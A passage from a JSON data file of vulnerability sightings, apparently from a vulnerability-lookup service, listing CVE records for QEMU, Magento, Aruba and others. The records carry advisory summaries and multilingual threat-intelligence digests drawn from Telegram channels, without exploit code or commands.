This vulnerability allowed a NetBackup administrator to modify the expiration of backups under Governance mode (which could cause premature deletion).\n\ud83d\udccf Published: 2024-05-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-28T19:21:58.347Z\n\ud83d\udd17 References:\n1. https://www.veritas.com/support/en_US/security/VTS24-004", "creation_timestamp": "2025-03-28T19:28:57.000000Z"}, {"uuid": "1c0021c3-4777-4b71-ae54-c87f4dbd2978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3446", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14626", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-3446\n\ud83d\udd25 CVSS Score: 8.2 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: A double free vulnerability was found in QEMU virtio devices (virtio-gpu, virtio-serial-bus, virtio-crypto), where the mem_reentrancy_guard flag insufficiently protects against DMA reentrancy issues. This issue could allow a malicious privileged guest user to crash the QEMU process on the host, resulting in a denial of service or allow arbitrary code execution within the context of the QEMU process on the host.\n\ud83d\udccf Published: 2024-04-09T19:34:45.646Z\n\ud83d\udccf Modified: 2025-05-02T23:02:59.338Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:6964\n2. https://access.redhat.com/security/cve/CVE-2024-3446\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2274211\n4. https://patchew.org/QEMU/20240409105537.18308-1-philmd@linaro.org/", "creation_timestamp": "2025-05-02T23:17:21.000000Z"}, {"uuid": "e148892e-05eb-4fa9-a49f-befcc7ca425b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3447", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13559", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-3447\n\ud83d\udd25 CVSS Score: 6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H)\n\ud83d\udd39 Description: A heap-based buffer overflow was found in the SDHCI device emulation of QEMU. The bug is triggered when both `s->data_count` and the size of  `s->fifo_buffer` are set to 0x200, leading to an out-of-bound access. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition.\n\ud83d\udccf Published: 2024-11-14T12:10:36.880Z\n\ud83d\udccf Modified: 2025-04-25T23:02:54.909Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-3447\n2. https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=58813\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2274123\n4. https://patchew.org/QEMU/20240404085549.16987-1-philmd@linaro.org/", "creation_timestamp": "2025-04-26T00:07:32.000000Z"}, {"uuid": "1b092c50-6906-49e0-bf06-780d5b1d3bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34068", "type": "seen", "source": "Telegram/FJ91h9lPE8_NrOna6J3eXbdgNu_7kG7N3xSTsyqueKOhNyw9", "content": "", "creation_timestamp": "2025-02-21T22:10:24.000000Z"}, {"uuid": "372e4abb-b07f-44c1-848f-548bf9974beb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34066", "type": "seen", "source": "Telegram/SF1HDEw6jWu_KFDPL8XO98E3dmTnGzEY2pd3CkEWl-FiLDzw", "content": "", "creation_timestamp": "2025-02-21T22:10:24.000000Z"}, {"uuid": "a2062473-2443-46fc-9ada-57061514b741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34885", "type": "seen", "source": "https://gist.github.com/sergkurilenko/55cbff41f8ef423d7ee6fc274e5e79a9", "content": "", "creation_timestamp": "2026-04-27T20:30:12.000000Z"}, {"uuid": "9f94fa0d-273e-4a6c-b0c0-19be3c877bdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34891", "type": "seen", "source": "https://gist.github.com/sergkurilenko/55cbff41f8ef423d7ee6fc274e5e79a9", "content": "", "creation_timestamp": "2026-04-27T20:30:12.000000Z"}, {"uuid": "7b9e61f9-8cf1-4ab8-8570-38cfe2fd5f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/kasperskyb2b/1441", "content": "\u23e9 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83e\udd2f \u041e\u0431\u044b\u0447\u043d\u043e \u043c\u044b \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u043c \u043d\u043e\u0432\u043e\u0441\u0442\u0438 APT \u0431\u0435\u0437 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0443\u0436 \u0431\u043e\u043b\u044c\u043d\u043e \u0443\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u044e\u0436\u0435\u0442. WSJ \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a APT Salt Typhoon \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043d\u0443\u0436\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0446\u0435\u0432, \u043f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u0441\u0435\u0442\u044f\u0445 AT&T, Verizon \u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043a\u043e\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u043a\u0438 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u043c\u0438 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 (\u0430\u043d\u0430\u043b\u043e\u0433 \u0421\u041e\u0420\u041c). \u042d\u0442\u043e \u2014 \u0445\u043e\u0440\u043e\u0448\u0435\u0435 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440 \u0434\u043b\u044f \u043a\u043e\u0433\u043e-\u0442\u043e \u043e\u0434\u043d\u043e\u0433\u043e, \u0440\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u0434\u043b\u044f \u0432\u0441\u0435\u0445.\n\n\ud83d\udc7d SIEM \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0435 \u0437\u043b\u043e\u0434\u0435\u0435\u0432: \u0432 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0438 \u0441\u0431\u043e\u0440\u0430 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442 open source SIEM Wazuh. \u041a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433.\n\n\ud83d\ude2e Cloudflare \u043e\u0442\u0447\u0438\u0442\u0430\u043b\u0441\u044c \u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0435\u0439 DDoS-\u0430\u0442\u0430\u043a\u043e\u0439 \u0430\u0436 \u043d\u0430 3,8 \u0422\u0431/\u0441.\n\n\ud83d\udc7e \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u044e\u0442 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c\u0438 \u043f\u0440\u043e\u043a\u0441\u0438 \u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a. \u0411\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433\u0435 \u0438 \u0428\u0432\u0435\u0446\u0438\u0438, \u0441\u0430\u043c\u044b\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0434\u0435\u0432\u0430\u0439\u0441\u044b \u0432 \u0431\u043e\u0442\u043d\u0435\u0442\u0435 \u2014 Asus \u0438 Qnap. \u041d\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u0412\u041f\u041e GobRAT \u0438 Bulbature. \n\n\u0410 \u0412\u041f\u041e perfctl \u0443\u0436\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0437\u0430\u0440\u0430\u0436\u0430\u0435\u0442 Linux-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f 20 \u0442\u044b\u0441\u044f\u0447 \u043e\u0448\u0438\u0431\u043e\u043a \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.  \u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0412\u041f\u041e \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u0442\u043a\u0438\u0442\u043e\u043c \u0438 \u0446\u0435\u043b\u044b\u043c \u043d\u0430\u0431\u043e\u0440\u043e\u043c \u0434\u0440\u0443\u0433\u0438\u0445 \u0442\u0440\u044e\u043a\u043e\u0432 \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u0438. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043c\u0430\u0439\u043d\u0435\u0440.\n\n\u0412 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u0440\u0430\u043d\u0435\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 APT Mustang Panda, \u043d\u0430\u0448\u0451\u043b\u0441\u044f \u043a\u043b\u0430\u0441\u0442\u0435\u0440, \u0432\u0438\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0439 \u043d\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 CeranaKeeper. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0434\u043b\u044f \u04212 \u0438 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438. \n\n\ud83d\udc6e\u200d\u2640\ufe0f\u041a\u0440\u0430\u0442\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0430\u0442\u0430\u043a Akira ransomware: TTP, IoC, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0445\u0430\u043d\u0442\u0438\u043d\u0433\u0443.\n\n\u2328\ufe0f\u041e\u0431\u0437\u043e\u0440 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 CyberVolk, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0430 \u0441 \u0445\u0430\u043a\u0442\u0438\u0432\u0438\u0437\u043c\u0430, \u0430 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 ransomware.\n\n\ud83d\ude93 \u041e\u043a\u043e\u043b\u043e 5% \u0432\u0441\u0435\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0449\u0438\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Magento/Adobe Commerce, \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u044d\u0442\u0438\u043c \u043b\u0435\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u0435\u0431-\u0441\u043a\u0438\u043c\u043c\u0435\u0440 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043e\u043f\u043b\u0430\u0442\u044b. \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u043d\u0430\u043f\u0435\u0440\u0435\u0433\u043e\u043d\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 CVE-2024-34102 (CosmicSting).\n\n\ud83c\udf44 FIN7 \u043b\u043e\u0432\u0438\u0442 \u043d\u0430 \u043a\u043b\u0443\u0431\u043d\u0438\u0447\u043a\u0443: \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 NetSupport RAT \u0447\u0435\u0440\u0435\u0437 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0438\u043f\u0444\u0435\u0439\u043a-\u043e\u0431\u043d\u0430\u0436\u0451\u043d\u043a\u0438.\n\n\ud83d\udcf1 \u0410 \u0432 App Store \u0438 Google Play \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0442\u0440\u0435\u0439\u0434\u0438\u043d\u0433\u0430 \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0438\u0434\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0445\u0435\u043c pig butchering.\n\n\ud83c\udf83\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u043e\u0432: StealC (\u0430\u0436 \u0432 \u0442\u0440\u0451\u0445 \u0447\u0430\u0441\u0442\u044f\u0445) \u0438 Amnesia.\n\n\ud83d\udc40 \u041d\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u0432\u0443\u0445 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0432\u0435\u0436\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:  CVE-2024-29824 \u0432 Ivanti Endpoint Manager \u0438 CVE-2024-45519 \u0432 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Zimbra.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #APT #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 @\u041f2\u0422", "creation_timestamp": "2024-10-07T15:36:21.000000Z"}, {"uuid": "78951bc9-e74d-41c1-81d4-f80d87b8b676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3459", "type": "seen", "source": "Telegram/PPuDhsQ92s3IrjtpmUSRiMeroVDLEMQsWzkj9UlgEAiQQxOw", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "361aa3cb-ab5c-4713-ba54-c81eaa3d087b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34566", "type": "seen", "source": "Telegram/St9qZi_warcfsyfsVDh8vOFg1xwiD6Nmvyu9o3dvOMc2MTSR", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "06df555a-735a-4f42-98a9-10e547eb5c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/cKure/13181", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 \u2757\ufe0f Sansec researchers are warning of a critical CosmicSting vulnerability that affects almost 75% of sites using Adobe Commerce and Magento.\n\nDespite the release of emergency fixes, nine days later the situation remains unchanged: millions of sites are at risk of serious XML external entity injection (XXE) and RCE attacks.\n\nCosmicSting is also tracked as CVE-2024-34102 (CVSS: 9.8) and represents the most severe bug in Magento and Adobe Commerce in the last two years.\n\nBy itself, it allows an attacker to view private files (for example, files with passwords). However, when combined with a recent bug in Linux, iconv (CVE-2024-2961) carries powerful malicious RCE potential.\n\nThe issue affects Adobe Commerce 2.4.7 (and earlier versions, including 2.4.6-p5, 2.4.5-p7, 2.4.4-p8), Adobe Commerce Extended Support 2.4.3-ext-7 (2.4.2-ext -7, 2.4.1-ext-7, 2.4.0-ext-7, 2.3.7-p4-ext-7 and earlier), Magento 2.4.7 (and earlier including 2.4.6-p5 , 2.4.5-p7, 2.4.4-p8), as well as the Adobe Commerce Webhooks plugin (from 1.2.0 to 1.4.0).\n\nAs Sansec notes, the absence of a detailed technical description in the Adobe bulletin will not prevent active exploitation, since effective attack methods can be modeled by analyzing the patch code.\n\nGiven its high severity and low sophistication, CosmicSting can now be considered one of the most destructive attacks in e-commerce history, along with Shoplift, Ambionics and Trojan Order, according to Sansec .\n\nResearchers recommend that platform administrators apply patches for CVE-2024-34102 as soon as possible or follow the proposed mitigation measures.", "creation_timestamp": "2024-06-22T07:57:07.000000Z"}, {"uuid": "98aff4c4-f088-4696-a979-6a80fee96b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34226", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7274", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34226 | SQL injection\nURL\uff1ahttps://github.com/dovankha/CVE-2024-34226\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-11T10:56:59.000000Z"}, {"uuid": "fcb1f2da-8c04-499a-9a94-3b077ac9efee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34026", "type": "seen", "source": "https://t.me/ics_cert/923", "content": "\u0628\u0627\u0631 \u062f\u06cc\u06af\u0631\u060c \u0645\u0627 \u062c\u062f\u06cc \u062a\u0631\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627 \u0631\u0627 \u0646\u0627\u062f\u06cc\u062f\u0647 \u0646\u0645\u06cc \u06af\u06cc\u0631\u06cc\u0645. \u0627\u0645\u0631\u0648\u0632 \u0648\u0636\u0639\u06cc\u062a \u0686\u06cc\u0632\u06cc \u0634\u0628\u06cc\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0627\u0633\u062a:\n\n1. HPE Aruba Networking \u0633\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0647\u0645 \u0631\u0627 \u062f\u0631 CLI \u0646\u0642\u0627\u0637 \u062f\u0633\u062a\u0631\u0633\u06cc \u0622\u0631\u0648\u0628\u0627 \u062e\u0648\u062f \u06a9\u0647 \u0627\u0632 Instant AOS-8 \u0648 AOS-10 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0628\u0631\u0637\u0631\u0641 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u06a9\u062f \u0631\u0627 \u0631\u0648\u06cc \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\nCVE-2024-42505\u060c CVE-2024-42506\u060c \u0648 CVE-2024-42507 \u0631\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648\u06cc\u0698\u0647 \u0628\u0647 \u067e\u0648\u0631\u062a PAPI UDP \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0645\u062a\u0627\u0632 \u0648 RCE \u062f\u0631 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f.\n\n\u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0642\u0648\u06cc\u0627\u064b \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u06a9\u0646\u062f \u06a9\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0647\u0627 \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n\u0647\u06cc\u0686 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u06cc\u0627 PoC \u0645\u0634\u0627\u0647\u062f\u0647 \u0646\u0634\u062f.\n\n2. OpenPLC \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0648 \u0628\u0627 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0631\u0627\u06cc DoS \u0648 RCE \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f.\n\n\u062c\u0632\u0626\u06cc\u0627\u062a \u062a\u0648\u0633\u0637 Cisco Talos \u0641\u0627\u0634 \u0634\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u062f\u0631 17 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 \u0628\u0631\u0637\u0631\u0641 